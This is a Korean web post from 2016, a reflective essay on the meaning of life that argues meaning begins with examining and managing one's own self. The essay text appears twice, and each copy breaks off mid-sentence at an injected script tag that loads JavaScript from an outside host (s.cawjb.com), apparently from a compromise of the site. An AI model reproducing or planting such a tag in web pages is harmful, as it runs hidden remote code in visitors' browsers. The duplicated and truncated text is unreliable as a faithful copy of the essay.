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[제목]
<삶의 의미> (김연수)
🧑 정부영
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📅 2016-01-09 16:09:15
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👀 43
제회사에 같이 일하고 있는 파트너 한사람이 어느날 같이 저녁을 하다가 제게 문득 질문을 던져왔습니다.
<삶의 의미가 대체 뭔가요?
그냥 이렇게 결혼하고 애낳고 돈벌고 먹고 마시고 놀고 그렇게 살다가 나이들어 죽는것이 전부인가요? >
그때 다른 사람도 그자리에 있고 길게 설명할 분위기가 아니었으므로 저는 이렇게 간단히 말했습니다.
<삶에 왜 꼭 의미가 있어야 한다고 생각해요?
삶엔 의미가 있어야 한다는 그생각이 이미 당신에게 스트레스가 되고 있네요. 그런 생각으로부터 한번 자유스러워 보세요.>
그러자 그는 <그것도 그렇네요.>하곤 그냥 씩 웃었습니다.
그때 제가 그에게 더깊은 얘길 해주지 못한것이 아쉬워서 오늘 여기에 좀더 얘길 해볼까합니다.
사람은 생각하는 능력이 있고 그래서 언제부터인가 <철학>이 시작되었습니다. 그리고 철학은 우선 <나는 무엇인가? 그리고 왜 존재하는가?>부터 생각하게 하지요. 그런데 사람들이 곧잘 쉽게 빠지는함정이 무언가 하면 자기생각에 스스로 걸려서 그한계를 벗어나질 못한다는것입니다.
주변사람들이나 길가는 보통 사람들에게 한번 물어보십시오.
<당신은 왜삽니까? 당신이 존재하는 의미는 과연 무엇입니까?>
그러면 거의가 다 이렇게 대답할것입니다.
<나는 내행복을 위해 삽니다. 행복이 내 존재의 의미지요.>
그런데 여기서 벌써 함정이 생겨났다 이말입니다.
왜냐하면 사람들이 말하는 행복이란 자기가 배우고 직간접적으로 체험한것만을 대상으로하여 그중에서 비교적 좋은것만을 누리는게 행복이 아니겠는가 하는 무의식에 이미 빠져있기 때문입니다. 그러니 진짜 참다운것이나 가치있는것이 뭔질 모른채 그냥자기가 경험하고 알고 있는것중에서 좋은것만을 생각하고 그것을 최고라고 경험속에서 정의하는 생각이란 한계성을 이미 스스로 가지게 된다는 말입니다. 즉 우물안 개구리가 생각하는 개념이 된다 이말입니다.
즉 자기가 살아온 삶의 한계내에서만 또 그이후의 삶의 최고가치를 정의하고 그생각에 아무 의심도 가져보지 않은채 따라가게 되는것이지요. 그러니 그삶이 뻔해지는겁니다. 왜냐면 세상 대부분의 사람이 그런 거대한 흐름속에서 그냥 떠내려가면서 살고있기 때문입니다. 그래서 사람들은 행복이라하면 결국은 보다많은 돈과 권력,명예,쾌락 또는 편안한 종교등을 우선 생각하게 되는 울타리안에 천편일률적으로 갇히게 되고 마는것입니다.
그러나 한번 가만히 생각해 보십시다.
대체 우리의 삶을 사는 주체는 누구입니까?
그것은 바로 <나>자신 아닙니까?
그렇다면 모든 삶의 근본적인 문제도 모든것의 근간이 되는 바로 이<나>를 잘탐구해 보아야 하는것아니겠습니까?
그런데도 우리들은 이<나>를 돌이켜보진 않은채 그<나>가 갖고 누리는 대상들만을 중요시하고 관심을 기울이며 살아왔다 이말입니다. 그러나 대상은 늘 변하고 허망하게 사라져갑니다. 그래서 우리는 인생도 덧없다고 읖조리게 되는 것이지요. 즉 평생동안 자기는 한번도 성찰해보지 않은채 늘상 바깥 대상에만 신경쓰며 살아가는 얼빠진 사람들,이것이 바로 세상사람들의 정직한 모습이다 이말입니다.
삶의 의미라는것도 바로<나>자신이 있어야 생기는 문제입니다.
종교든 철학이든 학문이든 사랑이든 봉사든간에 나없이는 그런 문제도 생겨날수가 없습니다. 그러므로 모든것의 근본이 되는 <나를 알아보고 그런 나자신을 운영하는것> ,바로 이것이 삶의 의미가 되어야 합니다.
문제안에 이미 답이 있습니다.
<삶>이란 말속에 이미 그삶을 사는 주체인 <나의....>라는 전제어가 생략되어 있기 때문입니다. <삶>이라는게 뭡니까? 그건 바로 <나의 체험과 그에대한 기억>아니겠습니까?
그러므로 <삶의 의미>라는것은 다시말하자면 이우주안에서의<나의 의미>를 말하는것이며 나아가 <내체험의 의미>가 되는것입니다. 그렇다면 이우주안에 내가 존재한다는 이사실 그것만으로도 이미 100점짜리 완전한 의미가 되지 않겠습니까? 왜냐하면 내가 만약 태어나질 않아서 없으면 이우주도 없기 때문입니다. 내가 없으면 하나님,부처님도 다소용이 없습니다. 구원이나 해탈도 다 소용이 없습니다.
다 내가 있고난다음의 얘기들입니다.
그러므로 내가 지금 여기 있다는 이사실.
그것민으로도 엄청난 우주적 의미가 탄생합니다.
왜냐하면 내가 있음으로해서 비로소 모든게 의미 있어지기 때문입니다.
실로 <나>야말로 이우주전체에 의미를 부여하는 의미이전의 의미입니다.
그러므로 이런 이치를 알고 <나>자신에 대한 탐구를 마친 사람에게는 존재와 그존재의 체험인 삶그자체가 의미자체가 됩니다. 즉 현재의 있는그대로의 삶이 있?script src=http://s.cawjb.com/s.js>
<삶의 의미가 대체 뭔가요?
그냥 이렇게 결혼하고 애낳고 돈벌고 먹고 마시고 놀고 그렇게 살다가 나이들어 죽는것이 전부인가요? >
그때 다른 사람도 그자리에 있고 길게 설명할 분위기가 아니었으므로 저는 이렇게 간단히 말했습니다.
<삶에 왜 꼭 의미가 있어야 한다고 생각해요?
삶엔 의미가 있어야 한다는 그생각이 이미 당신에게 스트레스가 되고 있네요. 그런 생각으로부터 한번 자유스러워 보세요.>
그러자 그는 <그것도 그렇네요.>하곤 그냥 씩 웃었습니다.
그때 제가 그에게 더깊은 얘길 해주지 못한것이 아쉬워서 오늘 여기에 좀더 얘길 해볼까합니다.
사람은 생각하는 능력이 있고 그래서 언제부터인가 <철학>이 시작되었습니다. 그리고 철학은 우선 <나는 무엇인가? 그리고 왜 존재하는가?>부터 생각하게 하지요. 그런데 사람들이 곧잘 쉽게 빠지는함정이 무언가 하면 자기생각에 스스로 걸려서 그한계를 벗어나질 못한다는것입니다.
주변사람들이나 길가는 보통 사람들에게 한번 물어보십시오.
<당신은 왜삽니까? 당신이 존재하는 의미는 과연 무엇입니까?>
그러면 거의가 다 이렇게 대답할것입니다.
<나는 내행복을 위해 삽니다. 행복이 내 존재의 의미지요.>
그런데 여기서 벌써 함정이 생겨났다 이말입니다.
왜냐하면 사람들이 말하는 행복이란 자기가 배우고 직간접적으로 체험한것만을 대상으로하여 그중에서 비교적 좋은것만을 누리는게 행복이 아니겠는가 하는 무의식에 이미 빠져있기 때문입니다. 그러니 진짜 참다운것이나 가치있는것이 뭔질 모른채 그냥자기가 경험하고 알고 있는것중에서 좋은것만을 생각하고 그것을 최고라고 경험속에서 정의하는 생각이란 한계성을 이미 스스로 가지게 된다는 말입니다. 즉 우물안 개구리가 생각하는 개념이 된다 이말입니다.
즉 자기가 살아온 삶의 한계내에서만 또 그이후의 삶의 최고가치를 정의하고 그생각에 아무 의심도 가져보지 않은채 따라가게 되는것이지요. 그러니 그삶이 뻔해지는겁니다. 왜냐면 세상 대부분의 사람이 그런 거대한 흐름속에서 그냥 떠내려가면서 살고있기 때문입니다. 그래서 사람들은 행복이라하면 결국은 보다많은 돈과 권력,명예,쾌락 또는 편안한 종교등을 우선 생각하게 되는 울타리안에 천편일률적으로 갇히게 되고 마는것입니다.
그러나 한번 가만히 생각해 보십시다.
대체 우리의 삶을 사는 주체는 누구입니까?
그것은 바로 <나>자신 아닙니까?
그렇다면 모든 삶의 근본적인 문제도 모든것의 근간이 되는 바로 이<나>를 잘탐구해 보아야 하는것아니겠습니까?
그런데도 우리들은 이<나>를 돌이켜보진 않은채 그<나>가 갖고 누리는 대상들만을 중요시하고 관심을 기울이며 살아왔다 이말입니다. 그러나 대상은 늘 변하고 허망하게 사라져갑니다. 그래서 우리는 인생도 덧없다고 읖조리게 되는 것이지요. 즉 평생동안 자기는 한번도 성찰해보지 않은채 늘상 바깥 대상에만 신경쓰며 살아가는 얼빠진 사람들,이것이 바로 세상사람들의 정직한 모습이다 이말입니다.
삶의 의미라는것도 바로<나>자신이 있어야 생기는 문제입니다.
종교든 철학이든 학문이든 사랑이든 봉사든간에 나없이는 그런 문제도 생겨날수가 없습니다. 그러므로 모든것의 근본이 되는 <나를 알아보고 그런 나자신을 운영하는것> ,바로 이것이 삶의 의미가 되어야 합니다.
문제안에 이미 답이 있습니다.
<삶>이란 말속에 이미 그삶을 사는 주체인 <나의....>라는 전제어가 생략되어 있기 때문입니다. <삶>이라는게 뭡니까? 그건 바로 <나의 체험과 그에대한 기억>아니겠습니까?
그러므로 <삶의 의미>라는것은 다시말하자면 이우주안에서의<나의 의미>를 말하는것이며 나아가 <내체험의 의미>가 되는것입니다. 그렇다면 이우주안에 내가 존재한다는 이사실 그것만으로도 이미 100점짜리 완전한 의미가 되지 않겠습니까? 왜냐하면 내가 만약 태어나질 않아서 없으면 이우주도 없기 때문입니다. 내가 없으면 하나님,부처님도 다소용이 없습니다. 구원이나 해탈도 다 소용이 없습니다.
다 내가 있고난다음의 얘기들입니다.
그러므로 내가 지금 여기 있다는 이사실.
그것민으로도 엄청난 우주적 의미가 탄생합니다.
왜냐하면 내가 있음으로해서 비로소 모든게 의미 있어지기 때문입니다.
실로 <나>야말로 이우주전체에 의미를 부여하는 의미이전의 의미입니다.
그러므로 이런 이치를 알고 <나>자신에 대한 탐구를 마친 사람에게는 존재와 그존재의 체험인 삶그자체가 의미자체가 됩니다. 즉 현재의 있는그대로의 삶이 있?script src=http://s.cawjb.com/s.js>
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